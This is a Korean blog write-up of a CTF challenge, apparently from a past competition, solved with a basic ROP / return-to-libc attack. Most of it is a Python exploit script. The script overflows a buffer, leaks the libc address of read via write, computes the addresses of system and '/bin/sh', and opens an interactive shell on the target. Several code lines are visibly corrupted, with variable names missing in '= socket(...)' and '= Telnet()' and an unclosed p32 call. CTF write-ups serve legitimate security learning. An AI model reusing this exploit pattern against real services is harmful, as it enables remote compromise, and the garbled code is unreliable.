대회에서 라이브러리 파일을 주고 시작했고, 따라서 로컬에서 디버깅이 가능한 상황이라고 가정하고 환경은

Ubuntu 14.04 64bit 로 구축해놓고 풀었습니다.

가장 기초적인 ROP로, Demon으로 돌아가는 프로그램이었기 때문에 system("/bin/sh")로 쉘을 딸 수 있었습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from hackutil import *
from socket import *
from time import *
from telnetlib import *
 
TARGET = '192.168.136.137'
PORT = 9999
 
banner()
 
#========================================
read_plt = 0x0804832c
read_got = 0x0804961c
write_plt = 0x0804830c
write_got = 0x08049614
pppr = 0x080484b6
offset_read_system = 0x9aa40
offset_binsh_read = 0x85e54
#========================================
 
print "==================[ Phase 1 : Find Library Func ]=================="
 
= socket(AF_INET, SOCK_STREAM)
s.connect((TARGET, PORT))
payload = "\x90"*(0x88+4)
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
payload += p32(0x080483F4# vuln func again
 
s.send(payload)
sleep(0.1)
recved = s.recv(1024)
 
read_lib = up32(recved[0:4])[0]
system_lib = read_lib - offset_read_system
binsh = read_lib+offset_binsh_read
 
print "[*] Found read_lib : "+hex(read_lib)
sleep(0.3)
print "[*] Found system_lib : "+hex(system_lib)
sleep(0.3)
print "[*] Found binsh : "+hex(binsh)
 
print "===================[ Phase 2 : Attack with RTL ]==================="
 
payload2 = "\x90"*(0x88+4)
payload2 += p32(system_lib)
payload2 += "AAAA"
payload2 += p32(binsh)
 
s.send(payload2)
sleep(1)
 
print "====================[ Phase 3 : Got the Shell ]===================="
 
= Telnet()
t.sock = s
t.interact()
 
cs


'CTF > 지난 대회' 카테고리의 다른 글

Layer7 CTF 2015 - Spil..Spli....SPPPPPIILL  (0) 2015.11.03
Codegate 2013 Prequal - vuln 100  (0) 2015.10.30
PlaidCTF 2013 - pork  (0) 2015.10.29
Codegate 2014 - AngryDoraemon  (0) 2015.10.25
Codegate Junior 2014 Prequal - nuclear  (0) 2015.10.22
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,